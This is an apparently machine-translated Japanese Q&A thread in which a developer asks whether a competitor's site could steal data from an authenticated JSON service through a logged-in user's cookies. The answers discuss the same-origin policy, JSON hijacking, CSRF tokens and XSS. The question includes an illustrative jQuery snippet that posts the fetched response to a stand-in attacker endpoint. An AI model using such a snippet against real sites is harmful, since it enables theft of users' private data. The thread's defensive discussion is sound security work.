0

「ライブ」データを表示するために Web ページの 1 つで使用される JSON Web サービスがあります。このページにアクセスするには、ユーザーがログインする必要があります。私たちは、悪意のあるサイト (競合他社) がこのデータを収集できることを懸念しています。しかし、私たちが予想している問題がもっともらしいかどうかはわかりません。

ユーザーがログインすると、「remember me」Cookie がユーザーのマシンに保存されます。誰かが私たちの Web サービスに AJAX リクエストを送信し、ログインしているユーザーにそのサイトにアクセスするように仕向けるサイトを構築した場合、彼らは私たちのサービスから情報を取得して保存することができるでしょうか? もしそうなら、どうすればそのようなことから身を守ることができますか?

例えば:

悪意のある Web サイトが次のようなスクリプトを作成してデータを取得する可能性があります。

$.post('their.secret.json', function(response) {
     $.post('our.malicious.response.saver', {save: response}, function(ourResponse) {
           alert('we saved your stuff!');
     }
});

彼らは私たちの JSON フィードをヒットしているので、私たちのサイトに Cookie を送信しないで、ユーザーは認証されます。それらは認証されるので、機密データを送り返しませんか?

4

2 に答える 2

1

まだパッチが適用されていないブラウザの脆弱性がないため、心配しているように見えることは実行できません。

別のドメインのスクリプトは、ドメインに対してAJAXリクエストを行うことができません。また、ドメインからページを読み込んでその情報を「盗む」こともできません。

CSRFに関する限り、考慮する必要があるのはGETリクエストを介した破壊的なアクションであり、もちろんスクリプトはまったく必要ありません。そしてもちろん、これはすべて、サイトがクロスサイトスクリプティングに対して脆弱ではないことを前提としています(これにより、誰かが他の誰かのログインを介してデータを「盗む」ことができる可能性があります)。

ただし、データを「マイニング」するためにそこにいる「正当な」ユーザーに問題が発生する可能性ははるかに高いと思います。ただし、これはビジネスレベルのことですが、そのような状況を特定するための適切なログ記録を保証することは別としてです。

于 2011-04-12T14:11:55.163 に答える
0

攻撃者が正当なユーザーのセッションを使用して JSON オブジェクトを取得できるのではないかと心配している場合は、JSON ハイジャックについて話していることになります。そのような攻撃が可能かどうかは、JSON ファイルの構造に依存します。詳細については、「JSON ハイジャック」という用語を検索するか、JSON オブジェクトに関するアプリケーションの詳細についてコメントを残してください。脆弱であることがわかった場合は、CSRF トークンを追加すると、JSON ハイジャック攻撃をシャットダウンするのに役立ちます。

また、Web アプリケーションにクロスサイト スクリプティング (XSS) の脆弱性が 1 つもないようにする必要があります。攻撃者が XSS を使用できる場合、有効なユーザーのブラウザーを制御することで、攻撃者がデータを収集するのはかなり簡単になります。そのような場合、CSRFトークンは役に立ちません。

于 2011-04-12T14:04:02.310 に答える